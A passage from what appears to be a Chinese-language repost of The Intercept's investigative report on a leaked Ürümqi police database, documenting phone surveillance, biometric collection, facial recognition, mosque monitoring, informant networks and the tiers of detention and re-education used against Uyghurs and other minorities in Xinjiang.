例如，2017年8月的一份警方报告称，“由于某些检查站进行的手机检查过于频繁，导致部分民众被检查3次以上，民众对这项工作怨声载道”。2017年10月的一份“社会舆情报告”称，“有群众反映，目前检查站的检查力度过大。往往一个晚上会被检查3次。当他们遇到紧急情况时这浪费了他们的时间。”

文件中讨论了一些人为了防止这些检查带来的不便而改用旧手机。

丹麦一位专注于新疆和维吾尔族研究的人类学家 Rune Steenberg 在2016年年底在喀什呆过一段时间，他说他在**2014**年改用传统的手机而不是智能手机，许多维吾尔族人也是这样做的。“这不仅仅是警察发现你手机上的东西”，他说，”警察还可以把东西放在你的手机上，以便给你定罪。而且事后你也没办法证明那是被警察放在你手机上的，而不是你放的。所以，其实拥有一部智能手机，只会让你变得非常危险。”

而且，Steenberg 说，警察经常会骗人们交出智能手机，谎称手机里面有宗教内容，知道他们会说不认得这个设备。“他们会说，‘不，那不是我的手机；不，我没有把手机带到这里来’”，Steenberg 说，然后，警察就会扣住手机，之后再卖掉。

「图」

「图」

Residents pass by a security checkpoint and surveillance cameras mounted on a street in Kashgar, Xinjiang, on Nov. 5, 2017.

该数据库还有助于量化乌鲁木齐周边电话监控的部署范围。例如，在一年零11个月的时间里，中国当局收集了近1100万条短信。在一年零10个月的时间里，他们收集到了1180万条关于电话通话的时间和通话当事人的元数据。而在一年11个月的时间里，他们收集了**700**万条联系人和约**25.5**万条关于电话硬件的记录，包括识别手机在蜂窝网络上的**IMSI**号码、手机型号和制造商、**MAC**标识符等。

数据库中跟踪的电话信息包括通话人员、收件人姓名、以及每次通话的开始和结束时间。数据库中的字段显示，在线聊天信息、电子商务购买信息、和电子邮件联系人信息，也可能从电话中提取。

“你在任何地方都不能因为手机而感到安全”，住在新疆喀什的语言学家、诗人 Abduweli Ayup 说，“你必须24小时打开手机，如果警察给你打电话，你必须随时接听电话”。他说，由于聊天软件也被监控，维吾尔族人永远无法体验到隐私，即使在家里也是如此。

「图」

「图」

The database contains phone surveillance records, helping to quantify police monitoring of communications in Xinjiang

除了被动地查看手机之外，政府还努力胁迫人们参加一个据称是“全民体检”的生物识别数据收集计划。根据“全民体检”计划，公民被要求去扫描脸部，分析声纹，加之提供**DNA**。描述该计划的文件显示，这是治安系统的一部分。

- 在这里看到《维族妇女对战中国的监视国家》
- 以及《强行收集声纹》（这不是新疆，而是美国。是的，全世界都如此，因为《声音识别是所有隐私入侵手段中最为可怕的一种》）
- 并且，《美国公司如何帮助中国借助 DNA 数据追踪公民》

人类学家、科罗拉多大学博尔德分校亚洲研究中心博士后研究员达伦·贝勒（Darren Byler）说，虽然“全民体检”计划早已为人所知，并被怀疑是一种监控形式，但当局一直否认，并称这只是一项公共卫生举

措。“这有多明显是治安系统的一部分，在文件中已经说得很清楚了”， Byler 说，“这就是他们想要控制人口的措施。”

数据库中的报告显示，“全民体检” 工作经常通过警方的 “便民站” 进行，导致市民对卫生条件的投诉。（便民站据称能拉近社区和警方的距离，设有公共Wi-Fi和手机充电等设施，但却是监视中心）。

他们还讨论了如何向警方举报未能提交生物识别信息的公民、这样的人如何面临罚款，有时还会被要求正式放弃自己的行为。一些关于该计划的文件集中在移民或使用 “民族语言的人” 身上。其中一份文件指出，对学生进行的体检被用于 “维稳”。

「图」

「图」

https://beta.documentcloud.org/documents/20466268-document-15

数据库中的文件还显示，在IJOP系统的指导下，通过越来越多地使用面部识别，加强了对人们在公共场所活动的监控。警方的 “反恐利剑” 使用报告也详细介绍了人脸识别的使用情况，显示七道湾分局40个警务便民站使用人脸识别技术检查了900多人。

「图」

「图」

https://beta.documentcloud.org/documents/20466322-document-14

很明显，Byler 在查看了这些数字后表示，“人脸识别已经成为监控系统中越来越重要的一个方面”。

个人数据监控方面最引人注目的一些证据来自于该数据库中存储的计算机编程代码，似乎是为了生成报告。这些代码采用了大量未包含在 Intercept 获得的数据库中的材料，这使得调查者无法确认其中有多少材料是当局实际收集的，也无法确认这些材料会被如何使用。

不过，这些所谓的战术或证据收集报告还是提供了一些线索，说明了该数据库本身或作为更广泛数据收集的一部分，打算包括哪些信息。该代码中提到了 **Facebook**、**QQ**、陌陌、微博、淘宝的阿里旺旺等在

线服务的数据，以及实际的电话录音、照片、**GPS**位置、和所谓的“高危词” 列表。

该数据库中的文件也证实了警方可以获取人们使用微信的全部数据。关于微信监控的讨论出现在社区辅警会议记录和警方调查的记录中。

在警察如何审查微信的例子中，有一份文件 —— 来自国家互联网安全部门—— 展示了一次警察的搜查演习，在这次演习中，一名警察扮演嫌疑人。他在整个城市开车，而其他警察则利用他的微信历史记录和位置数据追踪他的车辆。当局似乎阅读了模拟嫌疑人的微信消息，其中一条 “微信分析” 中写道：“他说他在加油站附近吃午饭。”

大部分监控的目的是遏制任何可能导致新疆维吾尔族和其他少数民族渴望更大自由或自治的影响。

例如，这些材料印证了有关维吾尔族人在中国境外被监控的报道，而且被监控的不仅仅是出国旅游然后回来的人，还包括他们的亲戚朋友。

乌鲁木齐市水磨沟区警方调查了一名年轻女子，原因是她的高中同学去了斯坦福大学读书，而且这名女子有时会和她在微信上聊天。“根据调查，我们没有发现她在我们地区居住和工作时有任何违反规则和法律的行为”，2018年的报告中写道，“她在小区内居住期间，积极参加社区工作，积极参加社区的其他活动，积极参加社区的升旗仪式。我们没有发现任何异常，她的嫌疑已经排除”。Byler 称这一事件 “证实了境外人员被境内人员监控的方式，以及这些联系产生 ‘微线索’ 的怀疑方式。”

在另一个关于外部影响如何成为怀疑理由的例子中，同样是水磨沟安平社区的一份文件中提到，所有外出探亲的工人的手机和电脑都要检查是否有未经授权的内容。

「图」

「图」

https://beta.documentcloud.org/documents/20466397-document-9

中国当局害怕外界对新疆公民的影响，这与一项名为 “防回流” 的举措有关。这个想法是为了防止极端主义或其他恶意思想从国外 “回流”。

这一举措的一个可能的例子是2018年对此前年2月来新疆大学民俗研究中心担任翻译的中国学者冯思雨(音)的监禁。冯是汉族人，原籍是中国东部的杭州，远离新疆。但根据数据库中2017年10月的一份警方情报说明，她曾在国外留学 —— 包括在安默斯特学院（Amherst College）、伦敦SOAS大学和印第安纳大学（Indiana University），并在乌鲁木齐受到警方关注。这份报告的说明部分记载，冯的 **OnePlus** 智能手机上有 “国外晦涩的软件”。该说明还称，该软件是智能手机自带的，冯并未使用。

据信，冯已于2018年2月被判处两年有期徒刑。她的监禁情况在新疆受害者数据库 shahit.biz 上被追踪，这是一个记录该地区监禁实例的网站。

人类学家 Steenberg 说，他相信冯受到审查，因为她往返于美国和乌鲁木齐之间，能熟练说维吾尔语，也因为她在民间研究中心及其创始人热依拉·达吾提身边的工作。达吾提是一位著名的学者，她收集了新疆南部的民族学资料，包括民间故事和口头文学，以及苏菲伊斯兰教习俗的资料。达吾提于2017年12月失踪，据信已被拘留。

“防回流” 的驱动力还体现在将离开中国的人认定为 “安全威胁”。一份来自于历史悠久的乌鲁木齐中心维吾尔族据点的报告，讨论了那些已经出国并申请政治庇护的前居民是 “恐怖分子”，印证了关于维吾尔人在中国境外受到监控的报道。

“这真的是明确的证据，在这里恐怖主义或极端主义的指控不符合恐怖主义或极端主义的国际标准”，Byler 说。“根据大多数定义，申请政治庇护并不是恐怖主义的标志，但在这种情况下，它就是”。 这也表明中国当局保存了大量有关海外维吾尔人的详细信息。

「图」

「图」

Abduweli Ayup, a Uyghur, linguist and activist at his home in Bergen, Norway on January 21, 2021.

阿不都外力·阿尤普在这种监测方面有经验。在喀什期间，阿尤普开办了一所维吾尔语幼儿园，并推广维吾尔语教育。他在被拘留15个月后逃离中国，他说在这期间他受到了审讯和酷刑。阿尤普说，离开后，他一度加入了一个中国大使馆的微信群。“当我去中国大使馆的时候，他们让我加入他们的微信群，我加入后，一个在乌鲁木齐的中国

间谍找到了我，他威胁我”，他说。

即使持有护照也被认为是可疑的。数据库中的文件显示，维吾尔族护照持有者比没有护照的人更频繁地被当局检查。

事实上，任何对新疆以外生活的了解都会被标记为可疑。例如，威虎梁警方在一份周报中注意到，在“需要特别关注的人”中，有4人曾到北京“反映当地问题”（上访），“其余的人从来没有离开过这个地区，所以他们被认为是比较安全的”，Byler 说。

即使是涉及外国的电话或在线聊天，也会招致新疆当局的审查。在历史悠久、维吾尔族占多数的乌鲁木齐中心天山，当局报告说，在给一个“关键国家”打了一个不寻常的电话后，将一名职业司机送去接受再教育。

Zenz 认为，这个“重点国家”是当局监视的26个主要是穆斯林人口的“重点”国家中的一个。根据人权观察组织的一份报告，新疆当局已经锁定了与这些国家有联系的任何人，对他们进行审讯、拘留甚至监禁。这些国家包括阿富汗、阿尔及利亚、阿塞拜疆、埃及、印度尼西亚、伊朗、伊拉克、哈萨克斯坦、肯尼亚、吉尔吉斯斯坦、利比亚、马来西亚、尼日利亚、巴基斯坦、俄罗斯、沙特阿拉伯、索马里、南苏丹、叙利亚、塔吉克斯坦、泰国、土耳其、土库曼斯坦、阿联酋、乌兹别克斯坦和也门。

「图」

「图」

https://beta.documentcloud.org/documents/20466441-document-17

该数据库还显示，近年来，人工智能与人类情报在指挥监控方面的使用越来越多。天山、水磨沟等乌鲁木齐地区当局的文件显示，IJOP发送推送通知，指挥当地警方进行调查。据一份文件显示，2018年，仅一个警区就收到40份这样的通知。

【注：这就是所谓的“情报主导型警务”👇】

「图」

「图」

虽然近年来的新闻报道将 IJOP 等中国警察自动化系统描述为初级阶段，严重依赖人类情报，但该数据库中的证据表明机器学习技术的使用正在增加，Byler 说，他获得了中亚技术政治学的博士学位。

- 《中国：为什么要重启笨拙低效的斯塔西式群众斗群众？》

「图」

「图」

A police smartphone app used in Ürümqi during a police stop or at a checkpoint shows facial recognition results, along with information about the top matches from police records. On the left, five possible matches are shown, with the top match rated 95.58 percent likely correct.

“这些数据显示的是，它开始在某些方面实现自动化，特别是围绕人脸识别监控”，Byler 说，“他们要在900个检查站[扫描]监控人脸，他们现在在很大程度上使用人工智能”，他补充说，指的是七道湾分局一周内的935次面部扫描。

文件显示，警方还在向 IJOP 添加大量的检查站数据，包括 “反恐利剑” 的手机数据下载。2018年和2019年的文件显示，IJOP的推送通知越来越多。“很明显，该系统开始提醒他们，并以新的方式指导他们的警务工作，所以通知数量开始上线”，Byler 说。

该文件还明确了当局试图评估被怀疑者心理的程度，特别是对忠诚度甚至狂热度的敏锐关注。这一点在所谓的升旗仪式上表现得淋漓尽致：在社区活动中，参与者需要宣称他们对中国和执政当局的忠诚。该文件显示，这些活动受到警方及其线人的广泛监控。当局不仅监视以前曾经被拘留的人，而且还监视他们的亲属，以确认他们是否参与，并确定他们参与的热情。

「图」

「图」

A security officer looks on as a woman passes through a checkpoint, equipped with a metal detector and facial recognition technology, to enter the main bazaar in Ürümqi, Xinjiang, on Nov. 6, 2018.

根据其中一份文件，当局将这些每周一次的仪式作为监视社区观察名

单上的三个人（可能是维吾尔族人）的一种方式。参与者被要求进行涉及“亮出你的声音，亮出你的剑”的忠诚誓言。Byler 说，如果人们的参与不是全心全意的爱国，其雇主和其他人就会向警方举报。在仪式上接受审查的还有“剩余劳动力”，这些人在强制劳动的轨道上，将社区项目的工作与所谓的再教育融为一体。剩余劳动力项目在过去四年里急剧增加。

文件显示，在升旗仪式上进行监控的警察和邻居也会就谁应该被送进再教育营提出建议。

尽管中国坚持认为其在新疆的警务工作是为了阻止恐怖主义和极端主义，而不是迫害任何宗教信仰，但该数据库证实并详细说明了监控是如何针对许多伊斯兰信仰的常见表达方式，甚至是对宗教的好奇心，在许多情况下都会导致当事人被调查。政府认为，留胡须、有祈祷毯、拥有维吾尔族书籍，甚至戒烟戒酒，都是宗教极端主义的潜在迹象。

针对该地区伊斯兰教活动的监视还包括监视清真寺。根据该数据库中的警方报告，当局会监视清真寺的人数，统计哪些礼拜者是移民，哪些是居民，并监控祈祷是否有序进行。

阿尤普说，清真寺内部也有摄像头，人们的祈祷方式也会被监视。

他说：“如果人们使用不同的祈祷方式 …… 摄像头就会拍下照片”。他还说，一位朋友因此被捕。阿尤普说，有些维吾尔人的祈祷方式非常古老，有些人则使用新的风格。“而在中国政府眼里，新式是威胁，是极端主义”，他说。

根据水磨沟区六道湾社区的一份文件显示，就连社区清真寺使用天然气也被监控。

「图」

「图」

Security cameras are seen on a street in Ürümqi, the capital of western China’s Xinjiang region, on July 2, 2010

“超级警务系统”

新疆的无情监视是该地区镇压环境中最容易理解的部分。而更难研究

和理解的是（特别是对国外的人权团体来说）它如何以及在多大程度上推动执法。事实证明，新疆的治安强度与监控的超强攻击性相匹配：紧密结合，无孔不入。intercept 获得的数据库揭示了一个深具侵犯性的警察国家的证据，监视人们的想法和热情，进入他们的家庭，干扰他们的日常行动，甚至在完全合法的活动中寻找“犯罪”。

该地区的当局用一种独特的方法指挥调查和其他警务工作，一位专家在研究了该数据库的部分内容后，把这种方法称为“超级警务”——对任何异常行为进行打击。所使用的战术是全方位的，涉及到民警大队、家访和频繁的检查站。虽然这项工作涉及面很广，但也是根据人们认为的危险性来进行的。各类少数群体 —— 无论是语言、宗教还是种族少数群体 —— 都受到不成比例的巡逻监视。

对使用自己语言的穆斯林少数民族的歧视，是新疆治安工作的一个重要组成部分。

许多被拘留者和前被拘留者被称为“三类人”。这一标签的使用非常随意，指的是所谓的极端分子和恐怖分子，其严重程度分为三个等级，根据政府对他们的心态和造成伤害的可能性的看法进行排序。被拘留者和前被拘留者的亲属也被警方贴上标签，进行 ”危险性“ 排名和追踪。另一个系统将人分为值得信任、正常或不值得信任。

警方的分类和排名隐含着对少数群体的关注，但在某些情况下，这种关注是明确的。例如，社区维稳会议记录显示，这些会议特别把重点放在“使用少数民族语言的人”身上，这些人受到的监视比讲汉语的回族穆斯林更强。这些会议还主要关注维吾尔族被拘留者的亲属。

维吾尔族人在信奉伊斯兰教的过程中也受到了警察的监视。文件显示，警方有时会对参加某座清真寺的每个人进行安全检查。

事实上，政府严格控制谁被允许进入清真寺。一份警方文件详细描述了一起事件，三名学生试图去清真寺参加一位朋友的父亲葬礼。正如 Byler 所描述的那样，这三名学生“只是在入口处徘徊，试图找到走进去的方法，因为他们必须扫描身份证才能进去，但他们担心（前门检查站）会联系警察，他们不知道该怎么办”。警方对这些学生进行了询问，将他们扣留了几个小时，并将他们列入了学校的观察名单，“尽管他们解释了他们想要做的一切”，Byler 说。

最近的报道显示，当局设定了一个降低清真寺出席率的目标，并且达到了这个目标。许多警方文件都提到清真寺的出席率降低了，有些文件明确地将此描述为“表明成功”。一份报告显示，在一个清真寺，四

个月内的总访问量比前一年同期减少了8万人次：减少了96%以上。这似乎部分是由于一位阿訇的离去和清真寺的暂时关闭，但该报告指出，两年来“宗教信徒急剧减少”。报告还说，部分原因是游客离开了该市，一些人被送往拘留营，或害怕信奉伊斯兰教。

「图」

「图」

https://beta.documentcloud.org/documents/20466261-document-24

阿尤普说，中国政府认为是极端主义迹象的清真寺活动，可以包括在没有戴维吾尔族花帽的情况下祈祷、在清真寺内涂抹香水，甚至在祈祷时放松。他说，任何在祈祷后不赞美中共的人也会被认为是可疑的。

Byler 说：“有趣的是，他们把公民描述为敌人，这让人明白，他们把这看作是一种反叛乱，其实他们只是想检测谁信奉伊斯兰教与否”。

来自威虎梁一个派出所的笔记描述了一场“大规模的调查 …… 集中在流动人口聚集的地区”，集中在以维吾尔族为主的新疆南部地区的人。该笔记说，一周内警方已登记605名来自南疆的人，调查其中383人及其同住人员。在同样的排查中，当局检查了367部手机和9台电脑。

新疆当局对伊斯兰教的治安管理特别热衷于追捕“野阿訇”或”非法传教”。这些术语指的是那些工作不受中国政府认可的伊斯兰传教士；维权组织说，中国当局任意划定这条法律界线，是为了政治需要。这些阿訇可以因为在网上和清真寺中发表的布道而被起诉。

威虎梁派出所的说明列出了60名涉及所谓非法传教的人员，其中50人被拘留。同一份文件称，微信群“群1教（古兰经ABC）”中的“非法传教”导致一名41岁的回族妇女被抓获，一名62岁的回族男子被行政拘留。

最近的文件，从2017年到2019年，反映出警方越来越难以继续找到违法行为来执行，也越来越难以把人关进拘留所或再教育营。因为在2017年，第一波拘留潮席卷新疆，导致大部分人口被驱逐出乌鲁木齐。新疆党领袖陈全国告诉官员，“把该围捕的人都围捕起来”，延续了习近平在2014年火车站发生大规模刺杀事件和用汽车和爆炸物袭击

户外市场后开始组织的强硬做法。

这一时期的警方文件，在第一波镇压之后，反映出对任何形式的可疑行为的追捕意图。

“这个系统的设置方式正在产生超级警务”，Byler 说，“任何奇怪的或任何一种异常的行为都会被举报，如果你是少数民族，这是他们对维吾尔族和哈萨克族的称呼，那么你就非常容易受到这种东西的影响，你正在被微观层面的警戒，无论是人的警戒还是技术对你和你的生活的密切监视。”

在某些情况下，人们在法律还没有制定之前，就因为违反法律而遭受迫害。

一份警方文件描述了回族妇女是如何被拘留的，因为有证据表明她们在一个在线群组里学习了《古兰经》—— 在她们做这件事的时候是合法的，但在她们被拘留之前就变成了非法的。在被拘留之前，她们至少有一年时间没有参加过该群组的活动。

新疆法律的这种不确定性，以及什么时候可能会触犯警察的不确定性，与阿尤普的经历相呼应。他解释说：“人们被逮捕后，就会发现‘哦，原来那个（活动）被认为很危险’”。

「图」

「图」

People walk on the street of Xinjiang International Grand Bazaar on June 25, 2020, in Ürümqi.

新疆治安如何变得越来越激进和无处不在的一个例证是，一份警方报告讨论了一家饺子店的一把刀如何没有按照规定拴在安全的柱子上。该报告说，需要在一天内纠正这种违规行为。文件显示，新疆的法律不仅要求用铁链锁住刀具，而且刀具也要有二维码识别其主人的身份。“这只是一种方式，说明一切都控制得很严密，即使是做饭用的菜刀，也要被认为是潜在的武器”，Byler 说。

为了保持“超级警务”所带来的最大限度的警戒，新疆当局征集普通公民互相监视 —— 这在中国并不是闻所未闻，但在该地区却被更广泛地实践，尤其是针对维吾尔族和其他少数民族。

为了帮助实现这一点，公民之间的相互举报会得到奖励。数据库中的

文件包含了这一以前报道过的事实的一些细节。举报者因向警察传递信息而获得奖励，但人们也会因更具体的行动而获得奖励。比如链接自己的微信账号、通过身份验证、发布某些图片都可以获得现金奖励。所有这些都会被追踪并反映在该数据库中。

一份来自警方的公告文件显示，警察和辅警人员面临向当局提交大量情报的压力。这份文件责备乌鲁木齐市新市辖区内的高新区市民提交的情报，“只是为了让举报数量看起来很大而制造的填充物，无法使用，而且占用了大量的人力和时间来处理”。比如，某楼的“居民举报经常有小孩在电梯里小便”；又如，“有少数市民反映，在网上买螃蟹或月饼时被骗。被骗的金额一般不大”。

随后，该公告又大篇幅地详述了10条“禁止举报的各类情报”，其中包括与“反恐政策、少数民族政策”无关的情报线索，或者与所谓的“新疆管理纲要”无关的线索，或者与“惠民政策”无关的线索……

基本上，正如 Byler 所说，当局“就像是直接在说，‘这不是我们想要的情报，我们要的是关于穆斯林的情报’”。

阿尤普在新疆生活时，10个家庭组成的小组每周都要在反馈箱中举报某人一次，这在应用之前就已经存在了。“问题是，如果找不到可以写的东西，就得补写，以免被送到再教育营。这是义务。这就是问题所在，但你不能因为这是义务而责怪举报的人”，他说。

「图」

「图」

The Public Safety App is one way authorities in Xinjiang draw ordinary citizens into the work of alerting, monitoring, and law enforcement

除了单独起草普通公民举报邻居的政策外，新疆当局还通过被称为“安全单位”或“大队”的更正式的社区团体来组织这些人。根据数据库中的文件，这些单位被划分为10个小组。例如，10户人家或10家企业可能被组织成一个大队，每个小组有一名志愿者像紧急医疗技术员一样响应呼叫，并进行“反恐”演习。

「图」

「图」

Each business in a community “safety unit” must install a “one-click police alert button,” according to documents in the database. Once triggered, the auxiliary police and other businesses in the “safety unit” are required to show up within two minutes

安全大队这种东西可以追溯到中国历史上的一个传统，即 所谓的保甲制度，10户为“甲”，10甲为“保”。这种分形结构形成了一种社会稳控体系，并与治安和民众的军事化有很大的关系。

在现代，类似的制度被冠以“网格化管理”的名字。几年前，中国政府在全国范围内推行了这种网格化管理，但新疆的网格单位密度仍远高于全国其他地区，那里的稳控单位用途不同。

Byler 说，新疆稳控单位在以前的政府文件中没有出现过，但如果你在该地区，就会看到各种演习、人们列队行进、企业主佩戴红袖章以示归属，这一点非常明显。

“这是整个人口的军事化”，Byler 说，“到目前为止，我们还没有完整的描述它应该做什么。”

超级警务还通过当局的定期访问深入到人们的家中；那些被认为有可能受到极端主义、恐怖主义或分裂主义影响的人也会经常接受这种家访。这通常意味着维吾尔族人、持不同政见者、经历过再教育营的人，以及与这些人有关的任何人。

社区稳控会议的会议记录详细介绍了这些家访中记录的信息类型。其中包括职业、工作地点、以前的工作、亲属（以及亲属的国民身份证号码）、出行情况、子女所在地、子女就读的学校，以及社区仍在监控的内容。

有些居民被讨论为受到社区的监控或控制；也就是说，社区会派一个邻里守望单位来监控他们。这可能包括住在附近的一名或多名干部成员每天或每周一到两次的家访。

当地警察每天都会探望一些被拘留者的亲属。即使是那些被认为值得信赖的人，也会被家访，“向他们表示温暖，把他们拉进中国的爱国阵营”，正如 Byler 所说，“搞得就像赢得人心那样”。

在一份警方文件的描述中，一位儿子被当局关押的老妇人与探望她的警察交好。警方称，这名老妇人对这名警官来说已经像母亲一样。她把他当做自己的儿子一样对待，并公开了她儿子的所有实际活动。文

件显示，她是 “通过“ 系统再教育的理想类型。

有些家访是为了检查和寻找宗教物品。文件显示，警方搜索宗教书籍，并拿走祈祷垫，甚至如2018年7月警方文件中提到的那样，一张朝觐的照片，即 穆斯林到沙特麦加朝圣的照片。文件显示，这项工作源于2018年，与政府一项名为 “三清” 的举措有关，该举措旨在鼓励人们从家中清除被认为是极端主义的材料。“这是我第一次看到明确提到的关于他们正在检查人们的家庭”，Byler 说。

2018年10月的一份文件描述了这些家庭检查是如何展开的：

「图」

「图」

当局还监控被拘留者与其家人之间的电话通话。有一份文件详细记录了这样一个持续4分20秒的电话，描述了谈话内容，以及亲属对政府允许这样做的感激。“这是一个拐点，记录了人们是如何接受再教育的”，Byler 解释说。“如果他们因为亲属不能被释放而哭泣或表现得很生气，那就说明还没有成功接受再教育。”

在许多情况下，亲属被要求记录他们的电话并与警方分享，或者在电话通话后警方立即和他们会谈，以了解他们在电话通话后的情况。

新疆的公民也经常被当局拦在家门口。该数据库包含了两年内乌鲁木齐（人口350万）及周边地区200多万次检查站拦截的记录。其中包括 “情报国家安全重要人员” 等近三十类人员的拦截名单。当一个人在检查站被拦下时，会经过身份检查，通常包括通过面部识别。面部识别有时是通过固定的监控摄像头自动扫描进行的。它也可以通过使用智能手机摄像头进行手动扫描；这些通常用于被认为需要近距离面部扫描的额外的受审人员，例如，因为他们没带身份证。如果一个人的脸部被扫描后在电脑上显示出黄色、橙色或红色的指示信号，表明系统认为其可疑或犯罪，则会对其进行盘问，并可能会被逮捕。

「图」

「图」

Four people flagged with various colored “inspection levels” based on authorities’ perception of how dangerous they are

经常在检查站被拦截的人员类别包括罪犯的亲属和被拘留者的亲属。

从这些拦截中保留的数据包括被拦截者的照片、拦截地点的经纬度、数据收集点的名称、车辆和车牌（如适用）、搜查时间、搜查级别、该人是否被释放以及搜查结果。被拦截的人在数据库中被分为立即被逮捕的人、被送回原住地的人、精神病患者、被拘留者的亲属、罪犯的亲属，以及被列为**2009**年**7**月乌鲁木齐骚乱参与者的人，在那次骚乱中，维吾尔族和汉族在中国东南部一家玩具厂的暴力事件导致了更广泛的内乱，其中包括对主要是汉族居民的攻击。

「图」

「图」

Security cameras are installed above the perimeter fence of what is officially known as a “vocational skills education center” in Dabancheng, Xinjiang, on Sept. 4, 2018. This center, situated between the region’s capital Ürümqi and tourist spot Turpan, is among the largest known ones

基于不确定性的拘留系统

除了监视和维稳之外，该数据库还提供了一个近距离观察关于各种形式的监禁如何被用来控制人口、特别是新疆的少数群体和被认为持不同政见的人。它揭示了一个正在努力调整其言论和政策以适应现实的系统，在这个系统中，即使是打着“培训”或“再教育”的幌子，监禁的时间长短也往往是如此地不确定，以至于当被拘留者被判处有期徒刑时，被监禁者的亲属都会感激不尽。

这些文件说明了新疆复杂的类似监狱的制度，大致可分为四类：临时拘留；“再教育”；一种被称为“职业培训”的较宽松的再教育形式；以及长期监禁。

拘留中心据说条件最艰苦，最拥挤，基本上是审讯和监禁的设施。人们被关在那里，等待调查结束。再教育设施的正式名称是“教育改造”营。曾利用政府文件调查过这些营地的 Zenz 说，它们实行的是“高度强制的洗脑”。那些培训中心据称是为了传授职业技能和其他技能，但却明显像监狱，有铁丝网、高墙、瞭望塔和内部监视摄像系统。

一个公民以一种管道式的方式经历多种类型的监禁是很常见的。乌鲁木齐天山区警方的一份文件描述了一位卷入“国家安全事件”的母亲被送进再教育营，然后被送进职业培训学校。

再教育是通过公安局国内安全保卫部门进行的，这是一支侦查跨国犯罪的国内治安部队。这是个“非常强硬的单位”，经常用来对付异见人士，Zenz 说，“我完全料到那是一个实施酷刑的地方，却无法肯定这点”，他补充说。

当局随后将那位母亲送到职业培训中心，本来“还是有很多不愉快和胁迫”，Zenz 说，但“是相对最宽松的了”，并最终导致被释放后继续强迫劳动。“在警察国家，这是最理想的地方，因为你最终能出来”，他说。这类所谓的职业培训中心有别于中国现有的真正的职业培训中心，后者不涉及强迫滞留，而前者，人们会从家中被带走并接受灌输。

「图」

「图」

Nejmiddin Qarluq, an ethnic Uyghur and political activist who fled China and was given asylum in Belgium, pictured at his new home in Brussels on Jan. 21, 2021.

2017年在比利时获得庇护的维吾尔族人 Nejmiddin Qarluq 说，拘留的原因并不总是很清楚，因为人们经常被随便逮捕，财产被没收。在 Qarluq 6岁的时候他的父亲被从监狱中释放出来。他自己被判处三年监禁，然后又服了五年半的刑期。他说，他的一个兄弟在1996年被判处无期徒刑，另一个兄弟被判处6年半监禁，现在还在监狱里。他的哥哥、前妻和妹妹在2018年被关进了再教育营。

因为 Qarluq 在14岁的时候就被判刑了，他说，他出狱后的整个生活都在中共警察的监控之下，他根本就没有安全感。而且，他说，在国家的控制下，没有任何自由和隐私，甚至连思想的隐私都没有。

这个数据库中的证据表明，与再教育相比，被拘留率可能远高于外界观察者的看法。这就意味着维吾尔族人和其他人在被关押期间忍受着明显更恶劣的条件。

一份来自威虎梁分局的警方报告提供了整个水磨沟（乌鲁木齐七区之一）被关押和接受再教育的人数信息。当时，2018年2月，该区有803人被再教育，被拘留的人数也差不多，约787人。具体到威虎梁，在押人员的比例更高：在押348人、再教育184人。

Byler 称这是“一个非常令人震惊的比例，如果我们把这看作是整个地

区的常态的话 ”。

“这向我们表明，几乎一半的被拘留者甚至都还没有进入再教育系统，他们只是在接受处理”，Byler 补充道。“这些空间的条件真的很糟糕。如果这些报告告诉我们的是真的，如此多人被关押在这些空间里，真的令人担忧。”

Byler 描述说，拘留营经常 “非常拥挤，根据我们从人们那里听到的消息，由于人满为患，里面的条件非常糟糕 …… 人们有时因为拥挤，不能同时睡觉，因为不能同时躺下来（床其实是一个平台，上面有一块木板，叫 ‘炕’ ）。小区里的摄像头不停地监视着，灯光整夜不灭。

相比之下，再教育营的条件要好一些，包括有更大的内院可以活动或教学，更重要的是，有可能被释放的希望 —— 只要 “转化” 教育完成。但数据库中的文件表明，至少在某些情况下，这可能是一个错误的期待。在100多起案件中，文件里讨论了固定期限的再教育刑罚，如两年或三年的刑期。

「图」

「图」

https://beta.documentcloud.org/documents/20466272-document-11

这些判决似乎是以职业再教育的形式分配给那些人的，往往是在他们被长期监禁之后。文件显示，他们是通过一个叫 “两告知、一倡导” 的方案来实现的，“告知” 显然是指关于极端主义的信息 (在再教育中提供的)，“倡导” 是指倡导一种提供刑罚的政策。

在这一制度下，亲属和骨干成员通常会在再教育营中与当事人见面，由法官出具 “预判”，期限为2至4年。有时，某些要求也会伴随着判决，比如掌握汉语技能。2018年10月的一篇报道称，“一些三类人员的亲属在了解到 ‘两告知一倡导’ 工作后，非常高兴，因为这样，至少他们知道自己的亲属需要多长时间才能出来，他们可以事先安排很多事”。

在该数据库中，作为这一政策的众多例子之一，来自2018年11月的报道显示，一名维吾尔族妇女与其弟弟一起前往达坂城的职教中心接受判决。

「图」

「图」

https://beta.documentcloud.org/documents/20466400-document-26

“我们从来没有听说过有人因为接受再教育而被判刑”，Byler 说。“他们告诉你，你必须赚取积分才能被释放，所以你应该非常努力地接受再教育，但现在他们说其实这些人已经被判刑了，他们的再教育课程需要三年或更长。所以其实就像坐牢一样。这就是这个制度的暴虐之一，一旦你进了集中营，你就永远不知道什么时候能被释放。”

对于一些迫害最严重的活动，再教育似乎也被封闭起来，成为一种选择。威虎梁派出所记录到，对“非法传教者”的归宿，列出了50名在押人员，说只有两人在接受再教育。

Zenz 的大部分工作都集中在被官方描述为“职业技能教育培训中心”的拘留营。政府将其定位为对那些犯有轻罪的人进行管制的一种比较温和的替代方式，但它们往往是以轻微理由拘留的掩护。尽管强调“培训”一词，但这些设施可以像再教育营一样实行强制灌输。

Zenz 此前获得的政府文件曾这样描述再教育：用 Zenz 的叙述，对那些“认识模糊、态度消极，甚至表现出抵触情绪”的人，采用“攻坚式的教育改造”，“确保取得效果”。

一份文件显示，乌鲁木齐七区之一的326名儿童的父母一方或双方都被关押。根据2010年的政府数据，该区人口约为43730人，但维吾尔族人口仅占乌鲁木齐总人口的12%左右。“如果你计算一下该[民族]的成年人口，并注意到有326名学生的父母中有一人或两人被拘留，这似乎是相当可观的”，Zenz 说。

这套文件可在此查阅。〇

REVEALED: MASSIVE CHINESE POLICE DATABASE

原文

消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代 - iyouport

技术暴政维稳面面观

【2018年7月4日存档】这种气体引起了强烈的反应，比催泪瓦斯更加高效：“有些人出现大面积惊厥反应，整个身体像触电一样震动。其他人晕厥20或30分钟”

编者按：当技术落到政权手里无疑将变成路西法。无人机用以镇压群体抗议的事件已经出现，然而国际标准却没能跟上邪恶的膨胀速度，以至于它目前为止甚至仍是合法的。这篇文章将提醒所有人警惕，当我们计划反抗时，需要首先准备更多的知识和技术，以应对高科技的镇压模式。

